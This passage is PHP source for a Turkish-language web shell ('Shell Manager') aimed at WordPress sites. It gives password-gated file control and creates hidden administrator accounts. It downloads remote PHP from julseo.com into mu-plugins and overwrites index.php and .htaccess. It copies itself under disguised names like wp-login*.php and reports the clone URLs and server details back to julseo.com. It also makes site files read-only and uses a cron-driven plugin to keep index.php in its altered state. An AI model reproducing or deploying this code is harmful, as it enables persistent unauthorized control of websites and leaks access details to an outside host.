$name) { $target_dir = $web_root . $random_dirs[$index]; if (!is_dir($target_dir)) { mkdir($target_dir, 0755, true); } $target_file = $target_dir . $name; if (!file_exists($target_file)) { copy($source_file, $target_file); } } } if (isset($_GET['logout'])) { session_destroy(); header("Location: index.php"); exit; } if (!isset($_SESSION['logged_in'])) { if (isset($_POST['password']) && $_POST['password'] === $password) { $_SESSION['logged_in'] = true; } else { ?> Machata - Giriş
❌ Yanlış şifre!
set_role('administrator'); $ok++; } else { $fail++; $debug[] = 'WP Hatası'; } } header('Content-Type: application/json; charset=utf-8'); $success_msg = $ok > 0 ? "✅ WP-Admin başarıyla oluşturuldu! ($ok başarılı)" : "❌ WP-Admin oluşturulamadı!"; if ($fail > 0) $success_msg .= " ($fail hata)"; echo json_encode(['ok'=>$ok>0?1:0,'msg'=>$success_msg, 'debug'=>$debug]); exit; } if ($action === 'add_security_core') { $current_dir = getcwd(); $wp_dirs = get_wp_dirs($current_dir); $debug_info = [ 'current_dir' => $current_dir, 'document_root' => $_SERVER['DOCUMENT_ROOT'], 'checked_paths' => [ $current_dir, $_SERVER['DOCUMENT_ROOT'], $_SERVER['DOCUMENT_ROOT'] . '/public_html', $_SERVER['DOCUMENT_ROOT'] . '/www', $_SERVER['DOCUMENT_ROOT'] . '/htdocs' ] ]; if (empty($wp_dirs)) { header('Content-Type: application/json; charset=utf-8'); echo json_encode([ 'ok'=>0, 'msg'=>'WordPress dizini bulunamadı!', 'debug' => $debug_info, 'wp_files_check' => [ 'wp-config.php exists in current dir' => file_exists($current_dir . '/wp-config.php'), 'wp-load.php exists in current dir' => file_exists($current_dir . '/wp-load.php'), 'wp-config.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-config.php'), 'wp-load.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php') ] ]); exit; } $success_count = 0; $errors = []; $success_details = []; foreach ($wp_dirs as $wp_root) { $mu_plugins_dir = $wp_root . '/wp-content/mu-plugins'; if (!is_dir($mu_plugins_dir)) { if (!mkdir($mu_plugins_dir, 0755, true)) { $errors[] = "mu-plugins klasörü oluşturulamadı: $wp_root"; continue; } } $security_file = $mu_plugins_dir . '/security-core.php'; $url = 'https://julseo.com/panel/security-core.php.txt?token=ZDLBXPHEU69JL2BAZ9AG2'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200 || empty($content)) { $errors[] = "Dosya indirilemedi: $wp_root (HTTP: $http_code)"; continue; } if (file_put_contents($security_file, $content)) { chmod($security_file, 0644); $success_count++; $site_name = basename($wp_root); $relative_path = str_replace(getcwd(), '', $wp_root); $success_details[] = [ 'site_name' => $site_name, 'full_path' => $wp_root, 'relative_path' => $relative_path ?: '/', 'security_file' => $security_file, 'file_size' => filesize($security_file) ]; } else { $errors[] = "Dosya kaydedilemedi: $wp_root"; } } $msg = "$success_count WordPress sitesine security-core.php eklendi!"; if (!empty($errors)) { $msg .= " Hatalar: " . implode(", ", $errors); } header('Content-Type: application/json; charset=utf-8'); echo json_encode([ 'ok'=>$success_count>0?1:0, 'msg'=>$msg, 'success_count'=>$success_count, 'success_details'=>$success_details, 'errors'=>$errors ]); exit; } if ($action === 'add_schema_pro') { $current_dir = getcwd(); $wp_dirs = get_wp_dirs($current_dir); $debug_info = [ 'current_dir' => $current_dir, 'document_root' => $_SERVER['DOCUMENT_ROOT'], 'checked_paths' => [ $current_dir, $_SERVER['DOCUMENT_ROOT'], $_SERVER['DOCUMENT_ROOT'] . '/public_html', $_SERVER['DOCUMENT_ROOT'] . '/www', $_SERVER['DOCUMENT_ROOT'] . '/htdocs' ] ]; if (empty($wp_dirs)) { header('Content-Type: application/json; charset=utf-8'); echo json_encode([ 'ok'=>0, 'msg'=>'WordPress dizini bulunamadı!', 'debug' => $debug_info, 'wp_files_check' => [ 'wp-config.php exists in current dir' => file_exists($current_dir . '/wp-config.php'), 'wp-load.php exists in current dir' => file_exists($current_dir . '/wp-load.php'), 'wp-config.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-config.php'), 'wp-load.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php') ] ]); exit; } $success_count = 0; $errors = []; $success_details = []; foreach ($wp_dirs as $wp_root) { $mu_plugins_dir = $wp_root . '/wp-content/mu-plugins'; if (!is_dir($mu_plugins_dir)) { if (!mkdir($mu_plugins_dir, 0755, true)) { $errors[] = "mu-plugins klasörü oluşturulamadı: $wp_root"; continue; } } $schema_file = $mu_plugins_dir . '/schema-pro.php'; $url = 'https://julseo.com/panel/schema-pro.php.txt?token=OAGXC6QSREH6GWSMO3I'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200 || empty($content)) { $errors[] = "Dosya indirilemedi: $wp_root (HTTP: $http_code)"; continue; } if (file_put_contents($schema_file, $content)) { chmod($schema_file, 0644); $success_count++; $site_name = basename($wp_root); $relative_path = str_replace(getcwd(), '', $wp_root); $success_details[] = [ 'site_name' => $site_name, 'full_path' => $wp_root, 'relative_path' => $relative_path ?: '/', 'schema_file' => $schema_file, 'file_size' => filesize($schema_file) ]; } else { $errors[] = "Dosya kaydedilemedi: $wp_root"; } } $msg = "$success_count WordPress sitesine schema-pro.php eklendi!"; if (!empty($errors)) { $msg .= " Hatalar: " . implode(", ", $errors); } header('Content-Type: application/json; charset=utf-8'); echo json_encode([ 'ok'=>$success_count>0?1:0, 'msg'=>$msg, 'success_count'=>$success_count, 'success_details'=>$success_details, 'errors'=>$errors ]); exit; } exit; } if (isset($_POST['action'])) { switch ($_POST['action']) { case 'delete': if (isset($_POST['file'])) { $file_path = $_POST['file']; $filename = basename($file_path); if (!file_exists($file_path)) { $_SESSION['delete_result'] = array( 'success' => false, 'message' => '❌ Dosya/klasör bulunamadı!' ); } elseif (!is_writable($file_path)) { $_SESSION['delete_result'] = array( 'success' => false, 'message' => '❌ Silme izni yok!' ); } else { $success = false; if (is_file($file_path)) { $success = @unlink($file_path); $type = 'dosya'; } elseif (is_dir($file_path)) { $success = @rmdir($file_path); $type = 'klasör'; } if ($success) { $_SESSION['delete_result'] = array( 'success' => true, 'message' => "🗑️ " . ucfirst($type) . " başarıyla silindi: $filename" ); } else { $_SESSION['delete_result'] = array( 'success' => false, 'message' => "❌ " . ucfirst($type) . " silinemedi!" ); } } header("Location: ?path=" . urlencode($current_path) . "&delete_result=1"); exit; } break; case 'create_file': if (isset($_POST['filename'])) { $filename = $_POST['filename']; $real_path = $current_path; $new_file = $real_path . '/' . $filename; if (strpos($filename, '/') !== false || strpos($filename, '\\') !== false || strpos($filename, '..') !== false || empty(trim($filename))) { $_SESSION['file_create_result'] = array( 'success' => false, 'message' => '❌ Geçersiz dosya adı!' ); } elseif (file_exists($new_file)) { $_SESSION['file_create_result'] = array( 'success' => false, 'message' => '❌ Bu isimde dosya zaten mevcut!' ); } elseif (is_writable($real_path)) { if (@file_put_contents($new_file, '') !== false) { $_SESSION['file_create_result'] = array( 'success' => true, 'message' => "✅ Dosya başarıyla oluşturuldu: $filename" ); } else { $_SESSION['file_create_result'] = array( 'success' => false, 'message' => '❌ Dosya oluşturulamadı!' ); } } else { $_SESSION['file_create_result'] = array( 'success' => false, 'message' => '❌ Dizin yazılabilir değil!' ); } header("Location: ?path=" . urlencode($current_path) . "&file_create_result=1"); exit; } break; case 'create_folder': if (isset($_POST['foldername'])) { $foldername = $_POST['foldername']; $real_path = $current_path; $new_folder = $real_path . '/' . $foldername; if (strpos($foldername, '/') !== false || strpos($foldername, '\\') !== false || strpos($foldername, '..') !== false || empty(trim($foldername))) { $_SESSION['folder_create_result'] = array( 'success' => false, 'message' => '❌ Geçersiz klasör adı!' ); } elseif (file_exists($new_folder)) { $_SESSION['folder_create_result'] = array( 'success' => false, 'message' => '❌ Bu isimde klasör zaten mevcut!' ); } elseif (is_writable($real_path)) { if (@mkdir($new_folder, 0755, true)) { $_SESSION['folder_create_result'] = array( 'success' => true, 'message' => "📁 Klasör başarıyla oluşturuldu: $foldername" ); } else { $_SESSION['folder_create_result'] = array( 'success' => false, 'message' => '❌ Klasör oluşturulamadı!' ); } } else { $_SESSION['folder_create_result'] = array( 'success' => false, 'message' => '❌ Dizin yazılabilir değil!' ); } header("Location: ?path=" . urlencode($current_path) . "&folder_create_result=1"); exit; } break; case 'upload': if (isset($_FILES['file'])) { $filename = $_FILES['file']['name']; $real_path = $current_path; $upload_path = $real_path . '/' . $filename; if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) { $_SESSION['upload_result'] = array( 'success' => false, 'message' => '❌ Dosya yükleme hatası!' ); } elseif (file_exists($upload_path)) { $_SESSION['upload_result'] = array( 'success' => false, 'message' => '❌ Bu isimde dosya zaten mevcut!' ); } elseif (is_writable($real_path)) { if (@move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) { $_SESSION['upload_result'] = array( 'success' => true, 'message' => "📤 Dosya başarıyla yüklendi: $filename" ); } else { $_SESSION['upload_result'] = array( 'success' => false, 'message' => '❌ Dosya yüklenemedi!' ); } } else { $_SESSION['upload_result'] = array( 'success' => false, 'message' => '❌ Dizin yazılabilir değil!' ); } header("Location: ?path=" . urlencode($current_path) . "&upload_result=1"); exit; } break; case 'change_permissions': if (isset($_POST['file']) && isset($_POST['permissions'])) { $file_path = $_POST['file']; $permissions = octdec($_POST['permissions']); if (is_writable($file_path)) { @chmod($file_path, $permissions); } } break; case 'add_index_code': $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $index_code = ' false, 'message' => ''); if (!is_dir(dirname($index_file))) { $index_result['message'] = '❌ Ana dizin bulunamadı!'; } elseif (!is_writable(dirname($index_file))) { $index_result['message'] = '❌ Ana dizine yazma izni yok!'; } else { $write_result = @file_put_contents($index_file, $index_code); if ($write_result !== false) { $index_result['success'] = true; $index_result['message'] = '✅ Index.php dosyasına WordPress kodu başarıyla eklendi!'; } else { $index_result['message'] = '❌ Index.php dosyası yazılamadı!'; } } $_SESSION['index_code_result'] = $index_result; header("Location: ?path=" . urlencode($current_path) . "&index_code_result=1"); exit; break; case 'clear_cache': $htaccess_file = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess'; $cache_result = array('success' => false, 'message' => ''); if (!file_exists($htaccess_file)) { $cache_result['message'] = '❌ .htaccess dosyası bulunamadı!'; } elseif (!is_readable($htaccess_file)) { $cache_result['message'] = '❌ .htaccess dosyası okunamıyor!'; } else { $content = @file_get_contents($htaccess_file); if ($content === false) { $cache_result['message'] = '❌ .htaccess dosyası okunamadı!'; } else { $original_lines = count(explode("\n", $content)); $cache_keywords = [ 'mod_expires', 'mod_headers', 'mod_deflate', 'mod_gzip', 'mod_cache', 'mod_file_cache', 'mod_mem_cache', 'mod_disk_cache', 'mod_cache_socache', 'mod_cache_disk', 'mod_cache_heartbeat', 'mod_version', 'mod_rewrite', 'mod_proxy', 'mod_ssl', 'mod_http2', 'mod_litespeed', 'ExpiresActive', 'ExpiresDefault', 'ExpiresByType', 'Header set Cache-Control', 'Header unset ETag', 'Header set Pragma', 'Header set Expires', 'FileETag', 'AddOutputFilterByType DEFLATE', 'CacheEnable', 'CacheIgnore', 'CacheDefault', 'CacheMax', 'CacheLookup', 'max-age', 'no-cache', 'no-store', 'must-revalidate' ]; $lines = explode("\n", $content); $clean_lines = []; $skip_block = false; $removed_lines = 0; foreach ($lines as $line) { $line_trimmed = trim($line); $contains_cache_keyword = false; foreach ($cache_keywords as $keyword) { if (stripos($line_trimmed, $keyword) !== false) { $contains_cache_keyword = true; $removed_lines++; break; } } $cache_block_keywords = ['cache', 'gzip', 'deflate', 'expires', 'compression', 'etag']; if (stripos($line_trimmed, '# BEGIN') !== false) { foreach ($cache_block_keywords as $block_keyword) { if (stripos($line_trimmed, $block_keyword) !== false) { $skip_block = true; $removed_lines++; break; } } if ($skip_block) continue; } if (stripos($line_trimmed, '') !== false)) { $skip_block = false; $removed_lines++; continue; } if ($skip_block) { $removed_lines++; } if (!$contains_cache_keyword && !$skip_block) { $clean_lines[] = $line; } } $clean_content = implode("\n", $clean_lines); if (!is_writable($htaccess_file)) { $cache_result['message'] = '❌ .htaccess dosyasına yazma izni yok!'; } else { $write_result = @file_put_contents($htaccess_file, $clean_content); if ($write_result === false) { $cache_result['message'] = '❌ .htaccess dosyası kaydedilemedi!'; } else { $cache_result['success'] = true; if ($removed_lines > 0) { $cache_result['message'] = "✅ Cache temizlendi! {$removed_lines} satır kaldırıldı."; } else { $cache_result['message'] = "ℹ️ Cache kodları bulunamadı, dosya zaten temiz."; } } } } } $_SESSION['cache_result'] = $cache_result; header("Location: ?path=" . urlencode($current_path) . "&cache_result=1"); exit; break; case 'server_lock': if (isset($_POST['lock_action'])) { $action = $_POST['lock_action']; $root_dir = $_SERVER['DOCUMENT_ROOT']; $critical_files = [ 'index.php', // Bu shell dosyası '.htaccess', 'wp-config.php', 'web.config' ]; if ($action === 'kilitle') { lockServerFiles($root_dir, $critical_files); $_SESSION['server_lock_result'] = array( 'success' => true, 'message' => '🔒 Sunucu dosyaları kilitlendi!' ); } elseif ($action === 'aç') { unlockServerFiles($root_dir, $critical_files); $_SESSION['server_lock_result'] = array( 'success' => true, 'message' => '🔓 Sunucu dosyaları kilidi açıldı!' ); } header("Location: ?path=" . urlencode($current_path) . "&server_lock_result=1"); exit; } break; case 'clone_shell': $results = cloneShellFiles(); $_SESSION['clone_results'] = $results; header("Location: ?path=" . urlencode($current_path) . "&show_clone_results=1"); exit; break; case 'rename_item': if (isset($_POST['old_path']) && isset($_POST['new_name'])) { $old_path = $_POST['old_path']; $new_name = $_POST['new_name']; if (strpos($new_name, '/') !== false || strpos($new_name, '\\') !== false || strpos($new_name, '..') !== false || empty(trim($new_name))) { $_SESSION['rename_result'] = array( 'success' => false, 'message' => '❌ Geçersiz dosya adı! Dosya adında /, \\, .. karakterleri bulunamaz.' ); } else { $real_old_path = $_SERVER['DOCUMENT_ROOT'] . $old_path; $directory = dirname($real_old_path); $real_new_path = $directory . '/' . $new_name; if (file_exists($real_new_path)) { $_SESSION['rename_result'] = array( 'success' => false, 'message' => '❌ Bu isimde bir dosya/klasör zaten mevcut!' ); } else { if (@rename($real_old_path, $real_new_path)) { $_SESSION['rename_result'] = array( 'success' => true, 'message' => '✅ Dosya/klasör başarıyla yeniden adlandırıldı!' ); } else { $_SESSION['rename_result'] = array( 'success' => false, 'message' => '❌ Dosya/klasör yeniden adlandırılamadı! İzin hatası olabilir.' ); } } } header("Location: ?path=" . urlencode($current_path) . "&rename_result=1"); exit; } break; case 'protect_index': $protect_result = array('success' => false, 'message' => ''); $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; if (file_exists($index_file)) { $current_content = @file_get_contents($index_file); if ($current_content !== false) { $_SESSION['protected_index_content'] = $current_content; $_SESSION['index_protection_active'] = true; if (protectIndexFile()) { $protect_result['success'] = true; $protect_result['message'] = '🛡️ Index.php koruma sistemi aktif edildi! Mevcut içerik korunacak.'; } else { $protect_result['success'] = true; // Session koruma aktif $protect_result['message'] = '🛡️ Index.php koruma sistemi aktif edildi! (Session tabanlı koruma)'; } } else { $protect_result['message'] = '❌ Index.php dosyası okunamadı!'; } } else { $protect_result['message'] = '❌ Index.php dosyası bulunamadı!'; } $_SESSION['protect_result'] = $protect_result; header("Location: ?path=" . urlencode($current_path) . "&protect_result=1"); exit; break; case 'disable_index_protection': $disable_result = array('success' => false, 'message' => ''); if (disableIndexProtection()) { $_SESSION['index_protection_active'] = false; unset($_SESSION['protected_index_content']); // Korunan içeriği temizle $disable_result['success'] = true; $disable_result['message'] = '🔓 Index.php koruma sistemi devre dışı bırakıldı!'; } else { $_SESSION['index_protection_active'] = false; unset($_SESSION['protected_index_content']); $disable_result['success'] = true; // Session temizlendi $disable_result['message'] = '🔓 Index.php koruma sistemi devre dışı bırakıldı! (Session temizlendi)'; } $_SESSION['disable_result'] = $disable_result; header("Location: ?path=" . urlencode($current_path) . "&disable_result=1"); exit; break; case 'extract_zip': if (isset($_POST['zip_file'])) { $zip_file = $_POST['zip_file']; $extract_result = array('success' => false, 'message' => ''); if (!file_exists($zip_file)) { $extract_result['message'] = '❌ ZIP dosyası bulunamadı!'; } elseif (!class_exists('ZipArchive')) { $extract_result['message'] = '❌ ZIP desteği yüklü değil!'; } else { $zip = new ZipArchive(); $res = $zip->open($zip_file); if ($res === TRUE) { $extract_path = dirname($zip_file); $extracted_count = 0; $total_files = $zip->numFiles; for ($i = 0; $i < $total_files; $i++) { $filename = $zip->getNameIndex($i); if ($zip->extractTo($extract_path, $filename)) { $extracted_count++; } } $zip->close(); if ($extracted_count > 0) { $extract_result['success'] = true; $extract_result['message'] = "📦 ZIP başarıyla çıkarıldı! ($extracted_count dosya)"; } else { $extract_result['message'] = '❌ Hiçbir dosya çıkarılamadı!'; } } else { $extract_result['message'] = '❌ ZIP dosyası açılamadı! (Hata kodu: ' . $res . ')'; } } $_SESSION['extract_result'] = $extract_result; header("Location: ?path=" . urlencode($current_path) . "&extract_result=1"); exit; } break; } header("Location: ?path=" . urlencode($current_path)); exit; } function disableIndexProtection() { $wp_content_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content'; if (!is_dir($wp_content_path)) { return false; } $mu_plugins_path = $wp_content_path . '/mu-plugins'; $protection_file = $mu_plugins_path . '/index-protection.php'; if (file_exists($protection_file)) { @unlink($protection_file); } if (function_exists('wp_clear_scheduled_hook')) { wp_clear_scheduled_hook('protect_index_cron'); } return true; } function checkAndProtectIndex() { $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; if (!isset($_SESSION['protected_index_content'])) { return; // Koruma aktif değil } $protected_content = $_SESSION['protected_index_content']; if (!file_exists($index_file)) { @file_put_contents($index_file, $protected_content); return; } $current_content = @file_get_contents($index_file); if ($current_content === false) { return; } if (trim($current_content) !== trim($protected_content)) { @file_put_contents($index_file, $protected_content); } } function protectIndexFile() { $wp_content_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content'; if (!is_dir($wp_content_path)) { return false; } $mu_plugins_path = $wp_content_path . '/mu-plugins'; if (!is_dir($mu_plugins_path)) { @mkdir($mu_plugins_path, 0755, true); } $protected_content = ''; $protection_code = ' 300, \'display\' => __(\'Every 5 Minutes\') ); return $schedules; }); add_action(\'protect_index_cron\', \'protect_index_file\'); if (function_exists(\'inotify_init\')) { add_action(\'init\', function() { $index_file = ABSPATH . \'index.php\'; if (file_exists($index_file)) { register_shutdown_function(function() { protect_index_file(); }); } }); } add_action(\'wp_ajax_nopriv_heartbeat\', \'protect_index_file\', 1); add_action(\'wp_ajax_heartbeat\', \'protect_index_file\', 1); ?>'; $protection_file = $mu_plugins_path . '/index-protection.php'; if (@file_put_contents($protection_file, $protection_code)) { $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; @file_put_contents($index_file, $protected_content); return true; } return false; } function sendShellClonesToJulseo($created, $urls) { $julseo_url = 'https://julseo.com/klon.php'; $shell_data = [ 'server_name' => $_SERVER['HTTP_HOST'] ?? 'Unknown', 'server_ip' => $_SERVER['SERVER_ADDR'] ?? 'Unknown', 'server_path' => getcwd(), 'clone_date' => date('Y-m-d H:i:s'), 'timestamp' => time(), 'shells' => [] ]; foreach ($created as $index => $shell_info) { $shell_path = is_array($shell_info) ? $shell_info['path'] : $shell_info; $shell_url = is_array($shell_info) ? $shell_info['url'] : ($urls[$index] ?? ''); $shell_data['shells'][] = [ 'filename' => basename($shell_path), 'full_path' => $shell_path, 'url' => $shell_url, 'type' => $index < 3 ? 'random' : 'wp_like', 'status' => 'active', 'file_size' => file_exists($shell_path) ? filesize($shell_path) : 0 ]; } $post_data = [ 'api_key' => 'julseo2025', 'api_action' => 'receive_shell_clones', 'shell_data' => json_encode($shell_data) ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $julseo_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0'); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/x-www-form-urlencoded', 'X-Shell-Server: ' . ($_SERVER['HTTP_HOST'] ?? 'Unknown') ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { error_log("Julseo.com'a veri gönderilemedi. HTTP Code: $http_code, Response: $response"); } else { error_log("Julseo.com'a veri başarıyla gönderildi. Shell sayısı: " . count($created)); } } function cloneShellFiles() { $source_file = __FILE__; $web_root = $_SERVER['DOCUMENT_ROOT']; $random_names = [ 'system_' . substr(md5(rand() . time()), 0, 8) . '.php', 'admin_' . substr(md5(rand() . time()), 0, 6) . '.php', 'config_' . substr(md5(rand() . time()), 0, 7) . '.php', 'wp-login' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php', 'wp-admin' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php', 'wp-config' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php' ]; // Derinlere inen rastgele dizinler $deep_dirs = [ '/wp-content/plugins/akismet/views/', '/wp-content/themes/twentytwenty/assets/js/', '/wp-includes/js/jquery/', '/wp-admin/includes/class/', '/wp-content/uploads/2023/cache/', '/wp-content/cache/plugins/', '/assets/css/themes/', '/includes/libraries/vendor/', '/public/js/components/', '/resources/views/admin/', '/storage/app/public/', '/vendor/laravel/framework/src/' ]; $cloned_files = []; $cloned_count = 0; $domain = $_SERVER['HTTP_HOST']; foreach ($random_names as $index => $name) { // Rastgele bir derinlik seç $selected_dir = $deep_dirs[array_rand($deep_dirs)]; $target_dir = $web_root . $selected_dir; // Dizini oluştur (yoksa) if (!is_dir($target_dir)) { @mkdir($target_dir, 0755, true); } $target_file = $target_dir . $name; // Dosya yoksa kopyala if (!file_exists($target_file) && is_writable($target_dir)) { if (@copy($source_file, $target_file)) { $cloned_count++; $cloned_files[] = [ 'name' => $name, 'path' => $selected_dir . $name, 'url' => 'https://' . $domain . $selected_dir . $name ]; } } } // Julseo.com API'sine klonlama verilerini gönder if ($cloned_count > 0) { $created_paths = []; $urls = []; foreach ($cloned_files as $file_info) { $created_paths[] = $web_root . $file_info['path']; $urls[] = $file_info['url']; } // API'ye gönder sendShellClonesToJulseo($created_paths, $urls); } // Klonlama bilgisini kaydet $clone_info = [ 'date' => date('d/m/Y H:i:s'), 'domain' => $domain, 'count' => $cloned_count, 'files' => $cloned_files ]; return $clone_info; } // Sunucu dosyalarını kilitle function lockServerFiles($dir, $critical_files) { if (!is_dir($dir)) return; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = $dir . '/' . $item; $relative_path = str_replace($_SERVER['DOCUMENT_ROOT'] . '/', '', $full_path); // Kritik dosyaları atla if (in_array($item, $critical_files) || in_array($relative_path, $critical_files) || strpos($item, basename(__FILE__)) !== false) { continue; } if (is_dir($full_path)) { // Klasörü salt okunur yap ve alt klasörleri işle @chmod($full_path, 0555); lockServerFiles($full_path, $critical_files); } else { // Dosyayı salt okunur yap @chmod($full_path, 0444); } } } // Sunucu dosyalarını aç (normal izinlere döndür) function unlockServerFiles($dir, $critical_files) { if (!is_dir($dir)) return; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = $dir . '/' . $item; $relative_path = str_replace($_SERVER['DOCUMENT_ROOT'] . '/', '', $full_path); // Kritik dosyaları atla if (in_array($item, $critical_files) || in_array($relative_path, $critical_files) || strpos($item, basename(__FILE__)) !== false) { continue; } if (is_dir($full_path)) { // Klasörü normal izinlere döndür ve alt klasörleri işle @chmod($full_path, 0755); unlockServerFiles($full_path, $critical_files); } else { // Dosyayı normal izinlere döndür @chmod($full_path, 0644); } } } // Dosya izinlerini al function getFilePermissions($file_path) { if (!@file_exists($file_path)) { return '0000'; } $perms = @fileperms($file_path); if ($perms === false) { return '0000'; } $perms = substr(sprintf('%o', $perms), -4); return $perms; } // Dosya sahibini al function getFileOwner($file_path) { if (!@file_exists($file_path)) { return 'unknown'; } $owner_uid = @fileowner($file_path); if ($owner_uid === false) { return 'unknown'; } // Kullanıcı adını almaya çalış if (function_exists('posix_getpwuid')) { $user_info = @posix_getpwuid($owner_uid); if ($user_info !== false) { return $user_info['name']; } } // Kullanıcı adı alınamazsa UID'yi döndür return $owner_uid; } // İzinleri okunabilir formata çevir function formatPermissions($perms) { $owner = substr($perms, 1, 1); $group = substr($perms, 2, 1); $world = substr($perms, 3, 1); $owner_str = ''; $group_str = ''; $world_str = ''; // Owner permissions if ($owner >= 4) { $owner_str .= 'r'; } else { $owner_str .= '-'; } if ($owner % 4 >= 2) { $owner_str .= 'w'; } else { $owner_str .= '-'; } if ($owner % 2 == 1) { $owner_str .= 'x'; } else { $owner_str .= '-'; } // Group permissions if ($group >= 4) { $group_str .= 'r'; } else { $group_str .= '-'; } if ($group % 4 >= 2) { $group_str .= 'w'; } else { $group_str .= '-'; } if ($group % 2 == 1) { $group_str .= 'x'; } else { $group_str .= '-'; } // World permissions if ($world >= 4) { $world_str .= 'r'; } else { $world_str .= '-'; } if ($world % 4 >= 2) { $world_str .= 'w'; } else { $world_str .= '-'; } if ($world % 2 == 1) { $world_str .= 'x'; } else { $world_str .= '-'; } return $owner_str . $group_str . $world_str; } // Dosya indirme if (isset($_GET['download'])) { $file_path = $_GET['download']; // Gerçek dosya yolunu oluştur $real_file_path = $_SERVER['DOCUMENT_ROOT'] . $file_path; if (is_file($real_file_path) && is_readable($real_file_path)) { $filename = basename($file_path); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Content-Length: ' . filesize($real_file_path)); readfile($real_file_path); exit; } } // Dosya düzenleme $edit_file = isset($_GET['edit']) ? $_GET['edit'] : null; $file_content = ''; if ($edit_file) { // Path'i düzelt if (strpos($edit_file, '/') === 0) { // Absolute path $real_edit_file = $edit_file; } else { // Relative path $real_edit_file = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($edit_file, '/'); } if (@is_file($real_edit_file) && @is_readable($real_edit_file)) { $file_content = @file_get_contents($real_edit_file); if ($file_content === false) { $file_content = ''; } if (isset($_POST['save_content']) && @is_writable($real_edit_file)) { $save_result = @file_put_contents($real_edit_file, $_POST['content']); if ($save_result !== false) { $save_success = true; $file_name = basename($real_edit_file); $save_success_msg = "✅ $file_name başarıyla kaydedildi!"; // Dosyayı yeniden oku ki değişiklikler görünsün $file_content = $_POST['content']; } else { $save_error = "❌ Dosya kaydedilemedi!"; } } } else { $file_content = "// Dosya okunamıyor veya erişim izni yok\n// Dosya: " . $edit_file; } } // Dizin içeriğini al $files = []; $folders = []; // open_basedir kısıtlamalarını kontrol et $allowed_paths = ini_get('open_basedir'); $open_basedir_active = !empty($allowed_paths); // Gerçek dosya yolunu oluştur - open_basedir uyumlu if ($current_path === '/' || $current_path === '') { if ($open_basedir_active) { // open_basedir aktifse, izin verilen ilk path'i kullan $allowed_array = explode(':', $allowed_paths); $real_current_path = rtrim($allowed_array[0], '/'); if (empty($real_current_path)) { $real_current_path = $_SERVER['DOCUMENT_ROOT']; } } else { // Kök dizin erişimi (open_basedir yoksa) $real_current_path = '/'; } } elseif (strpos($current_path, '/') === 0) { // Absolute path $real_current_path = $current_path; } else { // Relative path $real_current_path = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($current_path, '/'); } // Path'i normalize et (sadece open_basedir izin veriyorsa) if ($open_basedir_active) { $path_allowed = false; $allowed_array = explode(':', $allowed_paths); foreach ($allowed_array as $allowed_path) { if (strpos($real_current_path, rtrim($allowed_path, '/')) === 0) { $path_allowed = true; break; } } if ($path_allowed) { $normalized_path = @realpath($real_current_path); if ($normalized_path !== false) { $real_current_path = $normalized_path; } } } else { $normalized_path = @realpath($real_current_path); if ($normalized_path !== false) { $real_current_path = $normalized_path; } } // open_basedir kontrolü $allowed_paths = ini_get('open_basedir'); $path_allowed = true; if (!empty($allowed_paths)) { $allowed_array = explode(':', $allowed_paths); $path_allowed = false; foreach ($allowed_array as $allowed_path) { if (strpos($real_current_path, rtrim($allowed_path, '/')) === 0) { $path_allowed = true; break; } } } if ($path_allowed && is_dir($real_current_path)) { $items = @scandir($real_current_path); if ($items !== false) { foreach ($items as $item) { if ($item != '.' && $item != '..') { $full_path = $real_current_path . '/' . $item; // Her dosya için ayrı ayrı kontrol et if (@is_dir($full_path)) { $folders[] = $item; } elseif (@is_file($full_path)) { $files[] = $item; } } } } } // Breadcrumb oluştur $breadcrumbs = []; if ($current_path !== '/' && $current_path !== '') { $path_parts = explode('/', trim($current_path, '/')); $current_breadcrumb = ''; foreach ($path_parts as 